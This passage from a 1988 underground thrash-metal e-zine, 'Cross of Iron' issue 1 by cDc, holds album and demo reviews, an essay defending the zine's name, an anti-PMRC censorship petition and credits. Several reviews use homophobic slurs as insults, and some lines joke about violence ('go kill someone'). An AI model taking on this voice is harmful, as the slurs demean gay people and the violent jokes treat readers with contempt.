darkness... + + +THE RAMONES: Halfway to Sanity (Sire) by Rob R-Rock + + God what a comeback. + + +THE BAGS: Rock Starve (Restless) by The Usurper + + The Bags debut "Rock Starve" is a superb album. The band consists of +Crispin Wood (Lead Guitar, Vocals), Jon Hardy (Bass, Vocals), and Jim Janota +(Drums). The band members know each other from High School, but didn't get +together for "The Bags" until December 1985. The band played lots of gigs and +put out a few demos in 1986. One demo "Joy Ride", received lots of steady +radio airplay on local college radio stations. + + In December of '86 they were approached by producer Steve Barry, who +wanted to make a record with them. In April '87 they had completed the +recording of "Rock Starve, finishing the basic tracks for 18 songs. Then they +got two songs on a Compilation Album (Crawling From Within) which were "Try it" +and "Egg". Both received steady airplay. + + On November 27 they released "Rock Starve". Some of the great songs +are "Spread it Around", "Out of my Mind", "Tailbone", "Joy Ride", and "Big +Wig". This album is definitely one to buy! + + +VENDETTA: Go and Live, Stay and Die (Noise International) by The Raver + + Wow. Germany is really beginning to bash ass, especially with this +brutal [Yes! That word again! -Eds] release from VENDETTA. This German +quartet call their music F.A.S.T. metal...Fun/Avantgarde/Speed/Thrash. This +gets my stamp of death..um..approval. I mean, it isn't many bands that'll get +us moshin' in the radio station as hard and destructive as we did that Friday +(April 22nd). Can we all say... it's run into the wall time? Good vocals, +excellent guitar work, and the vocalist/guitarists (Daxx and Werner) can choke +out those lyrics. VENDETTA live in a strange borderland between METALLICA and +DESTRUCTION without sounding like either one. "Go and Live, Stay and Die" was +produced by Harris Johns (you know, the dude who produced VOIVOD, KREATOR, and +SODOM?) and it's good work. Not for the faint of heart... + + +SPEED METAL HELL VOL. 3: Compilation (New Renaissance) by Rob R-Rock + + Ahhh, the speed metal compilation album... a real art form. Okay, +here's what you get: some cool bands, one track each. Speed metal stuff +abounds: WEHRMACHT, NECROPOLIS, THE KILL, ONSLAUGHT, etc. What's interesting +is "Disbelief" from NYC's own PRONG, whom I've heard a lot about. Pretty +intense. + + Some stuff like NECROPHAGIA, REGURGITATION, DREAM DEATH, BLOOD FEAST.. +how much can you tell from one song? I don't know but maybe something here +will inspire you to spring for a full LP. Or maybe you should just look for +that PRONG album instead of buying this. It's your buck, eh kid? It's all +fast, if that helps you out at all. + + +NASTY SAVAGE: Abstract Reality (Metal Blade) by Anaxagorus + + Ugh...can't be NASTY SAVAGE's best...could be their worst, though. +Four tunes: "Abstract Reality", "Unchained Angel", "Eromantic Vertigo", and +"You Snooze, You Lose". Um...I was going to say more but, well, it's not +really worth my (or your) time. + + +HALLOWS EVE: Monument (Metal Blade) by The Raver + + Ah...THIS is what I've been waiting for. Atlanta, GA's HALLOWS EVE +are the best southern thrash band in existence, and maybe even one of the best. +Don Kaye called 'em "Southern fried thrash". I call 'em fucking excellent. No +doubt. The best thing is that HALLOWS EVE didn't "retrogress" with the release +of Monument as some bands do when they release a new LP. Monument is every bit +as fast, heavy, brutal, howling, maniacal, intelligent, and ripping as Death +and Insanity. God, these guys are good. Buy this LP if you like good metal. +Tracks: Speed Freak, Sheer Heart Attack (written by QUEEN), Rot Gut, Monument +(To Nothing), Pain Killer, The Mighty Decibel, The Righteous Ones, and No +Sanctuary. With the advent of this LP we see that Tym Helton (drums) has left +and the drumming on the LP was done by one Rob Clayton. However, Clayton was a +temp and the new permanent Hallowed drummer is Paul Kopchinski. Let me tell +ya, you just gotta get this album. That's all there is to it. Just gotta... + + +TANKARD: Chemical Invasion (Noise International) by The Raver + + Direct from Germany: Alcoholic Metal! Yeah, that's right, ultrafast +Alco-Metal... Namely protesting the adding of preservatives (etc) to the +formerly pure German beer, TANKARD proceed to rip your goddamned head off, +pour some Kronen Classic down your gurgling throat and then blow your ears up! +Wow. Real, real fast and hardcore/speed metal like no other band. TANKARD get +my vote for cool... so go get fucking drunk! The vocals can be hard to +understand at times, but if you like guttural then it's got what you want... +almost speedcore...real fast and heavy...even a bit sick-o...right on! + + +VENOM: Calm Before the Storm by The Usurper + + Me, your usual BIG VENOM fan goes to the local Record Bar and sees a +VENOM album I've never heard of before. I look and see K-tel on it, so I +figure it's another compilation album, like the previous (VENOM-Live in +Concert), which wasn't that bad really. So I fork out $10 for the tape, and +take it home. I tear it open, and read the usual credits and other shit on +the tape. At first I was shocked, but then I remembered Mantis is gone! +VENOM now consists of the usual...Cronos: (Vocals and bass), Abaddon: (Drums), +but to replace Mantis they put two fags in, Mike Hickey: (Guitars), an Jim +Clare: (Guitars and Keyboards). So I figure I'll throw in the tape and see +how the New VENOM sounds. + + At first look I noticed only one song I've heard before "The Chanting +of the Priests". Some of the songs are ok, but some of them that have backing +vocals from the new guys like "Under A Spell" & "Calm Before the Storm" sound +fucking gay as hell. Of course there are a *FEW* good songs, like "Black Xmas" +"The Chanting of the Priests", "Kracking Up", and "Muscle". + + So there you have it, the new VENOM sucks. You of course might want +to get it if you can find it for under $5, because it's not worth more than +that. What you should do is save your money for Mantis's new album that will +be out soon. I guess K-tel was the only label to take their "music". You +remember K-k00l K-tel that used to put out shit like the Bee-Gees' greatest +hits and other bogus shit like that! So in conclusion, if you see an album +from K-tel and it's a title you've never heard of, beware it might be the new +VENOM. [gosh...a conspiracy... -Eds] + + +NECROPHAGIA: Season of the Dead by The Raver + + The debut release from NECROPHAGIA is a brutal example of what happens +when you watch too many horror flicks (heh). But seriously though, Season of +the Dead is a killer. The music is brutal, heavy, and death-oriented. They +weren't lying when they said that this LP was the soundtrack to your worst +nightmare. This new stream of Zombie-Deathrash hits a new high with Ohio's +NECROPHAGIA. Listen to it on your late night excursions to the graveyard... +We did, and man did we do some weird things (let your imagination go with this +one and you'll guess about half of what we did...oo-ee-oo)... + + +BATHORY: Under the Sign of the Black Mark (New Renaissance) by Rob R-Rock + + This act is basically one guy [Flash: now has 2 new members, I can't +spell their names, so never mind -Eds], Quorthon. The music was played by a +number of nameless thrash metal merchants, who have split from the act. What +we have here is pure Vegas Satanism all the way. Shlocky "Four Winds of Evil" +crap, ad nauseum. + + But hey, I can deal with that, and you may or may not be able to. +This is, no matter how you look at it, show business. And that's what this +album is, 100%. The question is, is it good business or bad business? + + The only thing that stands out is this Quorthon guy, and the fact that +he basically is BATHORY [Um..was BATHORY. Gee, don't we keep our writers well +informed? -Eds], especially since the rest of the "group" has long split. He +wrote all the songs, with titles like "13 Candles", "Call From the Grave", +and the instrumental "Nocternal Obeisance" (sic), which translates into what, +"Fatness in the Dark" [Gee, we thought it was "Dark Fatness" -Eds]? + + I don't know, The Raver says he talked to Quorthon and he's not as +dumb as one might guess. I'll buy that. But since this is definitely show biz +shlock, BATHORY has a lot of wrinkles to iron out of their act. I'll take the +(also) highly theatrical antics of VENOM or SLAYER any day. Just the fact that +you're the most Satanic guy on the block doesn't qualify you to make an album, +you have to have music to back it up. Some do, but this record does not. + + +DREAM DEATH: Journey Into Mystery (New Renaissance) by The Raver + + A fantastic debut LP from Pittsburgh, PA's DREAM DEATH. These guys +aren't your average metal merchants. Nay.[Nay?] They have a penchant for slow +and grinding metal... metal that just pounds you into oblivion. Intelligence +can be found hanging 'round this LP. These guys cover everything from macabre +fantasies ("Back From The Dead") to Lovecraftian tales (as in H.P. Lovecraft) +("The Elder Race") to socially conscious tracks ("Bitterness and Hatred") to +[Are you fucking finished yet? -Eds]...well fuck, they just cover all the +deadly bases. A good deal can be found here, so, um, get it. + + +THE EXPLOITED: Death Before Dishonor (Rough Justice) by Rob R-Rock + + You've already made up your mind about THE EXPLOITED. You either +think that they're an intense bunch of punk rock chaos, or an intensely +laughable load of pretentious "Vegas punk". I mean, they've been doing the +same thing for at least 10 years now. You've almost got to respect them, +you know? + + I happen to like THE EXPLOITED. Like most of their recent records, +this record leans pretty heavily to the metal side of things. I'd like to hear +some of the old faves like "SPG", "I Hate You", or "Barmy Army", but then +again, this is 1988. Only one song ventures over 4:00, the driving "Pulling +Us Down". + + But it's a really good punk record. The songs like "Anti UK", "Power +Struggle", and "Death Before Dishonor" are just plain rulin'. The lyrics are +kinda obvious, but in my opinion there's always room for simple, direct hard- +hitting, uncompromising and powerful hardcore stuff in the same spirit, if not +the exact same format, as 1977. Who better than Wattie to pull it off? A+ for +endurance, lads. + + +SEPULTURA: Morbid Visions (New Renaissance) by The Raver + + Utter death from the heart of S. America [Brazil to be exact -Eds]. +Actually, SEPULTURA are Brazil's first death metal band...and it's no wonder +that they now draw from 2-3 thousand victims [fans, Raver, fans -Eds] to their +gigs. The shit's heavy heavy heavy and it's good good good! Look for more +info on SEPULTURA in the next ish of COI...until then, go kill someone! + + +MEDIEVAL: Medieval Kills! by The Usurper + + Medieval Kills! is a killer album. MEDIEVAL consists of five people, +Willjious Amsbuist (Drums and Vocals), Timmy Amsbuist (Guitars and Vocals), +Elwood Chew (Bass), Bryon Smolinski (Some Vocals & Management), and Terror +Amsbuist (Vocals and Lyrics). This band is great, the vocals are done by +about everyone in the band. + + The bass in the music is great as well as the drums. This band is +yet another product of New Renaissance Records, a big and growing record +company. Some of the great songs are "All Knobs to the Right", "The Seventh +Seal", "Peter Gunn Theme" - A modified James Bond, "Hell is Full (Thrasher)", +and "Epitaph". + + This is their first LP, their previous "Medieval-EP", was nothing +compared to this work. The Album has 14 Songs, they average about 3 minutes +each. This band is definitely superb, they don't have the speed of Metallica, +or Slayer, but it is very good music. This band is great and I hope to see +more from Medieval. + + +TYRANT: Too Late To Pray (Metal Blade) by The Raver + + The members of TYRANT look like the members of SLAYER did a long time +ago (y'know, lotsa leather, chains, studs, spikes, etc) but the similarities +end there. TYRANT shred ass! If you like your metal evil and molten then +TYRANT is who you ought to turn to. We're talking seriously evil here, folks, +and wow, will it slay your ass and crucify you. Real death-oriented, heavy, +etcetera, ad infinitum... a decent slaytanic buy here... + + +POST MORTEM: The Missing Link 12" EP (New Renaissance) by Rob R-Rock + + This is not a bad record at all. Four songs: two short and fast, and +two longer ones. The style is sort of hardcore, but it's easy to cite the +metal influence here. Pretty intense, fast, and hard listening. + + My favorite song on here is the 2 1/2 minute "Organized Crime". +Overall on this outing, the production could have been better, but I'd buy +this one. I'd like to see an album from these guys! They need more room to +develop their style. This is a good introduction, but let's see some more +stuff. Ace! + + +POSSESSED: The Eyes of Horror EP (Combat) by Rob R-Rock + + The long awaited (?) return of these major thrash contenders also +marks the end of their career [POSSESSED have broken up -Eds]. Following their +superb "Beyond The Gates" LP, "The Eyes of Horror" is pretty damn rippin'. The +overall production falls somewhere between "Beyond The Gates" and their debut +release, "Seven Churches", although how much can it hurt on an album like this? +But I can get into this... Not quite as obvious as something as, say VENOM (who +I like for the pure extremity of their genre) and in that sense, somewhat +classier, too. + + These guys could really be a big band [Too bad they lost it -Eds], as +I'm sure their next full album length outting will demonstrate [Um..we sort of +forgot to tell Rob that POSSESSED broke up -Eds]. There aren't any surprises +here...but would you want any? Nahh, this shit rocks pretty hard. Buy it +instead of that MEGADETH record you scum. + + +AT WAR: Limited Edition EP (New Renaissance) by The Raver + + Boom! Boom! Boom! You're fucking dead. Wow, this is intense +thrash... I say that and so does Alex Perialas (OVERKILL, ANTHRAX, S.O.D., +TESTAMENT, and a host of others)... in fact, Alex even said, "This is the +heaviest album I've ever done!" In my opinion that says something. After +hearing this brief sampler of what Retaliatory Strike is going to be about I +felt as if the U.S. Army [or the PTA? ha -Eds] had just assaulted me...no +fucking lie! This is so fucking brutal [Again! -Eds]. To be found on the +limited edition EP are "F.Y.I.", "Conscientious Objector", "Creed of the +Sniper", and "Church and State". What? Yes, brutality does run rampant here. +And this is just the intro to what Retaliatory Strike is all about...oh my +fucking god...gotta find a pillbox...quick! Arrrgh! [Too late...-Eds] [Blah]. + + +COMPLETE DEATH: compilation (Death Records) by The Raver + + Holy fuckin mother of God! This is a fuckin killer compilation! +As per most compilations, you get your killer tracks and your not-so-killer +tracks. Complete Death is no exception. Some of the better tracks you'll +find on this slab of annihilation are: + + D.R.I. "5 Year Plan" (previously unreleased), THE MENTORS "Sleep +Bandits" (oh god! This is a fuckin suicidal, cranium-smashin' tune), +CORROSION OF CONFORMITY "Loss For Words" (it's a sin to live in N.C. and not +love COC), and CIVILIAN TERRORISTS "I'm Not" (wham wham slam). + + Some of the other acts making appearances on this brutal comp. LP +are: DR. KNOW, THE INSOLENTS, BEYOND POSSESSION, THE UGLY AMERICANS (more N.C. +h/c), and DEPRESSION. + + This is generally a dealin' album. Not a waste of bucks if you +consider that you're getting ten tracks from nine rulin' hardcore bands. + + +WRATH: Nothing to Fear (Medusa Records) by The Raver + + From Illinois comes techno-speed devastation, complements of WRATH. +This LP was God to me when I got it. It's so fuckin fast. And that's good, +cause my favorite style of playing is fast and ferocious, both qualities WRATH +excels in. And they are quite original. Gary Golwitzer's singing will just +crucify your ass. You get nine tracks on Nothing to Fear (and believe me, +you'd best fear these dudes' speed...it's bludgeoning to say the least). A +brief rundown on the tracks are: + + R.I.P. (Ripped Into Pieces), Mutants, Hell is Full, Painless, Fear +Itself, Sudden Death, Incineration/Caustic Sleep, When Worlds Collide, and +Victims in the Void. + + This album is just fuckin great. Nothing more can I say, cause... +well, just trust me...it's good...it's fast...it's original...and it's fuckin +techno-speed to the max... + + +MOTORHEAD: Rock 'N' Roll (GWR/Profile) by Rob R-Rock + + Excuse me... MOTORHEAD IS GOD! If anybody tells ya different then +rip their head off, mail it to me first class, and I'll yell it in their ear. +[So rip my head off...-SR] This album is as solid a return as anyone could wish +for. And on drums is the original monster mosher of MOTORHEAD mayhem, Philthy +Animal Taylor. So hey, guess what? This kicks ass! + + Stone Deaf in the USA! Blackheart...ahh! Rock 'N' Fuckin' Roll, eh? +Hell yeah! Produced by Guy Bidmead and MOTORHEAD, Bill Laswell (who really +cranked the boys up on Orgasmatron) only did the works on one cut here, "Eat +The Rich", which is also the title of a movie starring Lemmy and featuring the +rest of the 'HEAD, which also has a video with hilarious clips from the +movie. This album sounds exactly like MOTORHEAD circa On Parole in some spots +especially the slide guitar bits on "Eat The Rich". + + What other bludgeoning rock 'n' roll band could talk Monty Python's +Michael Palin into doing a minute and a half monologue for their album? Well, +the answer is at the end of side uno and it is hilarious. + + What else is there to say? This: BUY THIS YOU ASSWIPE! This band is +one of the best ever. Right up there along side the Ramones, MC5, NY Dolls +and the Pistols. I hear so much shit from pretty boy/girl "metal" fans about +how they don't like the 'HEAD because Lemmy (and the whole band) is UGLY. Eat +shit, faggots! This is Rock 'N' Roll. + + +TESTAMENT: The New Order (Megaforce Worldwide/Atlantic) by The Raver + + Quit dripping, damnit! Um..oh sorry, just taping my head up..hmm.. +now where's that neck brace when I need it? Ahh... hang on a sec whilst I grab +a rag to cleanse my blood-soaked ears.. um..almost done..there we go! Jesus +fucking Christ (etc etc etc) [We get your point -Eds]. This is more than I +bargained for! Total brutality and thrashin' madness! I don't care what +anyone else says, S.F. breeds more brutal thrash than anywhere else in the +whole goddamned world (METALLICA, EXODUS, BLIND ILLUSION, POSSESSED, etc). +TESTAMENT's new release is a steadfast slayer of audio-receptive craniums... +total fucking annihilation! Especially when their sound exemplifies S.F. +style power thrash...fast and brutal. Sounds a teeny-weeny bit like EXODUS' +current release, but that's just the S.F. style rubbing off. On The New Order +you'll catch the following blood-curdling tracks: + + "Eerie Inhabitants", "The New Order", "Trial by Fire", "Into the Pit", +"Hypnosis", "Disciples of the Watch", "The Preacher", "Nobody's Fault", "A Day +of Reckoning", and "Musical Death". + + At present, the street date for The New Order is scheduled for May +10th.. you can find "Trial by Fire" and "Nobody's Fault" on a special 12" +maxi-single. This fucking record is EL-FUCKING-HUGE-O! Oh God, I'm starting +to bleed again..gotta run.. + + +VIKING: Do or Die (Metal Blade) by The Raver + + Wow...ultraspeed Nordic thrash from Orange County, CA...the same area +that spawned the likes of METALLICA. What do ya expect with two norsemen in +the band? I speak of the two red-haired axe wielders, Ron and Brett Eriksen. +Also Matt Jordan on drums and James Lareau on bass guitar. With 9 killin' +tracks you can't desire more (if ya did, your eardrums would rupture). Some +of the tracks are normal, and then some are SO fuckin' good that you'd swear +that Odin wrote 'em... For example, check out "Valhalla" and "Berserker". +You want fast? You'll get it for sure if you scope out Do or Die! You want +heavy? You get that too (free of charge). This LP is damn good and it's fast +(just the way I like it). No really evil stuff here. Just basically your +fantasy-related material...but it's real fucking good...so...do like Odin and +all did...fuckin thrash 'til death! + + +LIZZY BORDEN: Visual Lies (Metal Blade/Enigma) by Rob R-Rock + + Ha ha ha ha ha ha ha ha ha haaaaaaaaaaa ha ha ha ah hahaha!! +Hahahaaahahahahah a hah ha ha haha ha ho hee hee ha ha hah ha ha aha ha ha +ha ha haha!!! God this is a bunch of shit. I really hate faggot metal. +Fuck off. + +------------------------------------------------------------------------------ +WHY THIS E-ZINE IS CALLED WHAT IT IS AND An article on COI +WHY WE DON'T CARE IF YOU DON'T LIKE IT. by Rob R-Rock (ooh) + + Yeah, that's me. Writer for this here publication you are reading, +Rob R-Rock. I can already hear the bitching from people about the name "Cross +of Iron", and I'm here to set you straight before you even start to yell "neo- +fascist reactionary racist right-wing Nazis!" + + When me and The Raver were kicking around the idea for this e-zine, +we came up with some pretty bad names: "Blood", "Thrash", "Death", etc. I +came up with the name CROSS OF IRON for several reasons: + + [1] IRON CROSS, a D.C. skin band from some years back are + one of the coolest bands of all time and its a cool name. + [2] Many bands use this Germanic imagery. For example, my + faves MOTORHEAD, as in "Iron Fist", which is the name of + a squadron of Nazi fighter planes. And Lemmy sports 'em + all over! + [3] It sounds good so why should we think twice about using + using it? No, we are not Nazis at all. So just give + it up. Oi!, mates... + + I play guitar in a band called NAKED ANGELS which I shall get into at +a later time. I used to play guitar in a band called FADED GLORY, who put out +the legendary American Oi! single, "Who Killed Elvis" and broke up a couple of +years ago. As far as literature I'm into Rimbaud (!), Kerouac, Burroughs, +Gregory Corso, Sartre, and good sci-fi like Phillip K. Dick, William Gibson, +Brian Aldiss, Norman Spinrad, etc. + + One important thing I'd like to bring up is this: metal, punk, and +rap crossover records are the only records that sell a lot with little or no +airplay or MTV exposure. It's definitely subversive when a band like METALLICA +can release an album with two MISFITS covers and have it go gold. That's just +plain cool. The BEASTIE BOYS took the SEX PISTOLS spirit of Anarchy and +rowdiness straight to No. 1 with no compromise.[Yeah, you may hate 'em, but +it's true.. -Eds] MEGADETH re-recorded "Anarchy in the U.K."? Scary... I'd +like to see more underground bands reaching a lot of people and getting a lot +of exposure without having to change or clean up their act. It'd be nice to +see the record companies working for the bands instead of vice-versa [This is +beginning to happen -Eds]. + + Anyway, if you've got a comment or complaint about something I've +said here or elsewhere in COI, then write me directly: Rob R-Rock, box 6127 +Winston-Salem, NC 27109. Enjoy the zine, eh? + +------------------------------------------------------------------------------ +DEMOstonishing Demo Reviews by The Raver (Are you braindead, too?) + + Okay, this column is for any demo tapes that we get. If you are in a +band and have a demo then why not consider sending it here to be reviewed? So +enough of my shit. If you need the address then look in the first file (name: +COI.1.1). On with the reviews... + + +MELIAH RAGE - 1987 Demo (3 songs) + + MELIAH RAGE is a five piece metal band from Boston, MA which was +formed in late '86 by Anthony Nichols (ex-GANG GREEN). MELIAH RAGE's influ- +ences range from JUDAS PRIEST and AC/DC to METALLICA and SLAYER. MELIAH RAGE +consists of Anthony Nichols (guitar), Jim Koury (guitar), Mike Monroe (vocal), +Stu Dowie (drums), and Jesse Johnston (bass). Their '87 demo tape is pretty +good, but it isn't without a few problems. The first two tunes, "Enter The +Darkness" and "Beginning of the End" are fairly mainstream, while "Kill to +Survive" is head slamming thrash. These guys are good, but could use a dose +of intensity. All in all this demo tape ain't bad. I'm not sure how much +their demo costs, so ya might consider writing and asking. Write to: MELIAH +RAGE, 23 Hartford Street, Bedford, MA 01730 U.S.A. + + [Late breaking news: MELIAH RAGE are considering deals with both +Atlantic Records and Epic Records...we'll keep you posted...next ish -Eds]. + + +IDLE THREAT - Elmo Rocks (3 song demo) + + IDLE THREAT is a fairly new band on the New York metal scene. Their +demo tape, Elmo Rocks, is a beautiful recording (8 track) and sports three +tunes, none of which sound the same. The first track, "Claws", has a distinct +'70s sound and riffs away. Their next track, "Run Away", is [gasp! -Eds] a +love song [taboo! taboo! -Eds]. Yeah, that's right, an honest to God metal +love song (and it ain't bad either). The last track, "Victim of Yourself", is +a definite basher. This is a good demo but there's just one smaaaall problem: +the vocals. Really high-pitched [2600 Hz? -Eds] nasal whines that have an +effect similar to that of dog whistles. Other than that, the tape is a steal +at a mere $2.00. Write to: IDLE THREAT c/o Sindo Lamas, 413 17th Street, W. +Babylon, NY 11704 U.S.A. + + +ATROCITY - Live and Live Again (5 song demo) + + Hailing from Statten Island, NY, ATROCITY, a new group of thrashers +who are making a full-scale assault on the rising NY thrash scene. ATROCITY +consists of Mike Radicella (guitars), Tom Canlon (bass and vocals), and Al +Gritz (drums). Although young musicians, they have a raw talent for writing +songs. Citing bands such as CELTIC FROST, SLAYER, EXODUS, EXCITER, and JAG +PANZER as influences you can take a guess at the style of music that they +create. After a rather successful demo entitled "Dance of Death", ATROCITY +has decided to release a new live demo called "Live and Live Again". The sound +is heavy and unusual, but mostly good. + + The first track, "Mosh The Mausoleum", is your standard deathrash with +that definite CELTIC FROST sound. "Sexual Abuse" has that fuck you attitude +fused into the song and has some catchy hooks to boot. It's a personal +favorite. The next track is definitely an odd one, definitely. Entitled "Alf" +it is pretty hilarious to listen to. With its alternating fast and slow parts +its not a bad tune. Now comes "The Four Sands", a rather speedy track with a +bludgeoning, sledgehammer sound. Last on the tape is "Will to Die", an inter- +esting tune that makes use of voice echoing to a large degree. + + This is a fuckin-A demo. You get your standard thrash with a strange +twist of the unusual. My only problem, you ask? The demo's too fuckin short! +I want more. Not a waste of money. Only $4.00 U.S. Write to: ATROCITY, 302 +Taylor Street, Statten Island, NY 10310 U.S.A. + +------------------------------------------------------------------------------ +MUSIC IN ACTION: The PMRC -- More Trouble Than You Think by Anaxagorus + + To date, the PMRC has scored some stunning PR coups. They've lined up +congressional members, the PTA and the American Academy of Pediatrics as part +of their "coalition." These alliances give the impression that experts who +should know -- pediatricians and the PTA -- confirm the claims that music is +damaging to the children of America. + + To a lot of people in our industry, the PMRC doesn't seem like a real +threat. After all, we have a First Amendment. But pressure groups like the +PMRC in 1921 mounted a headline-grabbing media campaign claiming that the film +business was riddled with sex and perversion. The coverage crippled the film +industry, cut box office revenues in half, and forced the creation of the Hayes +Board, which censored films for more than forty years. We had a First Amend- +ment then too. + + Those of us who care about music need to show that the PMRC does not +represent the American majority. One way to do it: sign the petition below! + + This petition will be presented to the FCC, the Justice Department, +and other governmental agencies currently being swayed by the PMRC. + + Simply signing your name and sending in this page may help ensure +that you can hear the music you enjoy as easily tomorrow as you can today. + +(cut on the dotted line) (cut on the dotted line) (cut on the dotted line) +------------------------------------------------------------------------------- + +I want to state my support for American Freedom. +I believe in the American Constitution and the Bill of Rights. I object to +the attack on freedom of expression being mounted by groups attacking metal, +rock, rap and pop music. I oppose pressure tactics being used by groups like +the PMRC and Decency In Media to get the FCC to remove the music the leaders +of these groups dislike from the air. + +I oppose laws -- like the one in San Antonio, Texas -- that prevent some people +from attending concerts city officials don't care for. I object to the arrest +of an 18-year old store clerk in Calloway, Florida for selling a rap record. +And I object to the arrest of bandleader Jello Biafra in California for selling +material "harmful to minors" when that material was a reproduction in his album +of a piece of art shown in gallery exhibits all over the world. + +I may not like every form of music, but I believe is all has a right to exist. +That freedom is what America is all about. + + ___________________________________ ___________________________________ + + ___________________________________ ___________________________________ + +------------------------------------------------------------------------------- +(cut on the dotted line) (cut on the dotted line) (cut on the dotted line) + + Sure, you might not like all forms of music, but need I remind you +that thrash and hardcore are also being attacked by groups such as the PMRC? +Please get four people (or more!) to sign this petition and send it to the +following address: + + 135 E. 55th St., Suite 6-H, New York, NY 10022 + + Is it too much to ask? Anybody in their right mind will sign such a +petition. Here at the home of C.O.I. we have gotten fifty signatures in a +single day. You can do it. No problem. So send those signatures in now! + + For information, call (212) 751-9852 + +------------------------------------------------------------------------------- +CROSS OF IRON [Volume I, Number 1] (c) 1988 cDc communications + + Well, this is the end of the premier issue of CROSS OF IRON, the +E-Zine of the underground. Again, we are sorry about the size of the first +issue and understand that it must've taken a while to download this issue, but +we just had to do all those reviews. + + I'm kinda sorry to have to end here but we promise that the next ish +(July-August) will be totally fucking gory and, of course, brutal as hell +[Of course -Eds]. So keep your eyes peeled on all the heavy duty AE's across +the country...cause we're looking' for you to bleed tonight... + + If you are in a band and have a demo then please send it to us so +that we can review it! Send us your demo and a press kit/bio to us at: + + CROSS OF IRON + 145 Rosedale Circle + Winston-Salem, NC 27106 + Attn: Demo + + We'll get right on it and include the demo in our next issue... What +a good way to get recognition... all the thrashin' independent labels read us +so how can it hurt? Send those demos... Yah! + + The next issue will have more interviews, gig reviews, album reviews, +and more articles (mostly in the realm of the socially conscious, but there'll +be some violent ones strewn about for that "extra-special" added touch... So +we'll see ya in July! Keep on thrashin', moshin', slammin', and skankin'! + + Violent Deth! Violent Deth! Violent Deth! Violent Deth! Violent Deth! + -cDc- From The Raver, of course [Of course...arrrgh! -Eds] -cDc- + +------------------------------------------------------------------------------ +COI EDITOR: The Raver (Ye Olde Editor From The Lower Infernal Regions) + +GUEST WRITERS: Rob-R-Rock; His Unholiness Anaxagorus; The Usurper, & Decrepit +Monarx Firstborn. + +SHIT EDITOR: Swamp Rat (final copy editor...blah) + +QUOTE OF THE ISSUE: "Sometimes the truth is an ugly thing. Sometimes the +truth is a beautiful thing. In a world that requires lies in order to live, +it is always a dangerous thing." -Angus McKie, "So Beautiful, So Dangerous" + +CROSS OF IRON: This is the official electronic FanZine by Cult of the Dead +Cow (AKA cDc communications). It is released to the underground on a +bi-monthly basis (unless we are being lazy bastards). If you want all the +back issues, send a blank disk (we can do 5.25" or 3.5") and $1.00 (postage) +[We'll put as many issues on each disk that we get] to: + + CROSS OF IRON < Please enclose $1.00 so that us + 145 Rosedale Circle << poor thrashers can afford to + Winston-Salem, NC 27106 < mail your disk and info to you. + + We can supply the following formats: Apple II, Macintosh, IBM compat- +ible, and hardcopy printouts (for those that want to read COI but don't have a +computer). If you opt for a hardcopy printout then enclose $2.00 (for copying +fees and postage). + + Basically, you pay the postage, so enclose $1.00 (no checks) and we'll +mail your loaded disk right back out to ya. And as an additional service, +we'll enclose a bunch of information about CROSS OF IRON and how to get it plus +other various and sundry flyers and advertisements. If you are writing from +outside the U.S., please send us two I.R.C.'s instead of the stamps. + + To save postage, get yourself a modem and call Metal Hell Private, +Demon Roach Underground, or any other cDc system (or the Metal AE) and download +all the issues. You won't get any "extras" from the thrashin' staff, tho'. + +OUR VIEWS ON CENSORSHIP: We DO NOT believe in censorship in any degree or +fashion. It is upsetting to us that some ''zines and mags say the same thing, +yet print f**k instead of the proper spelling, which is fuck. What are they +trying to do? Be fashionable with the P.M.R.C.? We don't believe in censor- +ship, and here is your proof: fuck, shit, asshole, suck my dick, pussy, bitch, +damn, Goddamn, etc., ad nauseum. When we print "fuck" we want you to under- +stand that we mean "fuck". Thank you. + +AND THANK YOU TO: Scott Givens at Combat Records; Janice Issitt at Music For +Nations; Chris, Rich, Jeanne and Ann at New Renaissance; Brenda at Star +Communications; Juli, Julie, and Maria at Restless Records; Sal "Mr. T" +Treppiedi at Mercenary; Monte at Shatter Records; Jim Pitulski at Caroline +Records; John Bello at Roadracer Records; heavy Peggy Donnely at Atlantic +Records; Brian and Sharon at Metal Blade (East Coast Office); John Sutherland +and Brian Slagel at Metal Blade (West Coast Office); John Hudson at Link +Records; Holly (for all the encouragement -ahem); The Usurper for putting up +with all my shit; Tracie for sewing all my patches on my denim jacket; and +Tom McClure for the best DJ partner the world could desire; and all the folks +at WAKE Radio (keep it slammin!). Oh yeah, EXTRA-SPECIAL FUCKIN' YAHOOZ to: +all of the cDc c0we' fucks. You guys all fuckin' rail! Keep up the +extra-heavy, death-oriented work! + +NO FUCKING THANKS TO: Due to spacial limitations we are not able to fully +express our hatred. But please be aware that you know who you are and we will +fucking nuclearize your goddamned nasal passages one of these days. + + + THANKS TO YOU ALL AND MAY YOU ALL HAVE EXCEPTIONALLY BLOODY DEATHS + + +NEXT ISSUE: An interview with San Fran's hottest item at present, TESTAMENT +and info on the upcoming METALLICA album and touring information... Yow-zee! +=============================================================================== + CROSS OF IRON Issue #1, Part 3 (c)1988 cDc communications 0/5,6/88-54 + diff --git a/textfiles.com/groups/CDC/cDc-0055.txt b/textfiles.com/groups/CDC/cDc-0055.txt new file mode 100644 index 00000000..2df8457d --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0055.txt @@ -0,0 +1,37 @@ + + \ F / +Fuck E-Mail, get the E-Zine! \ / The Official FanZine For: +---------------------------- \ / --------------------------- + C R O S S OF I R O N P X A CULT OF THE DEAD COW +---------------------------- / \ --------------------------- + DEATH! DEATH! DEATH! / \ cDc cDc cDc cDc + / T \ + + This is the ONLY industry-backed electronic thrash FanZine. Issue #1 of +C.O.I. is composed of three files, so be sure to get 'em all. They're too big +to capture in most term program buffers so you're gonna have to download them. +The files that make up issue #1 are: + +Filename: Blocks: Bytes: Featured in issue #1: Interviews with INDESTROY, +-------------------------- DEATH, FATES WARNING, NUCLEAR ASSAULT, PRIMAL + COI.1.1 90 45244 SCREAM, and NECROPHAGIA. Also: lots of thrash + COI.1.2 90 45313 album reviews (53 to be precise), articles, gig + COI.1.3 92 46467 reviews, and more...always more... +-------------------------- + Dealin' 272 137024 GET IT! IT'LL FUCKING RAIL YOUR ASS! E-DEATH! + +Compare to the last issue of +the MBI 'zine (#6) at 49 blocks... +COI is all original material, too + +For the cDc catalog of nice anti-trendical, thrashish tees and some stickers, +send 50 cents to cDc at: cDc communications, P.O. Box 53011, Lubbock, TX 79453. +For free flyers and other assorted death treats, write the cDc Cross of Iron +division at: Cross of Iron/cDc, 145 Rosedale Circle, Winston-Salem, NC 27106. +Enclose 50 cents for postage and handling. + + SO "FUCK THE PLASTIC ARMY" 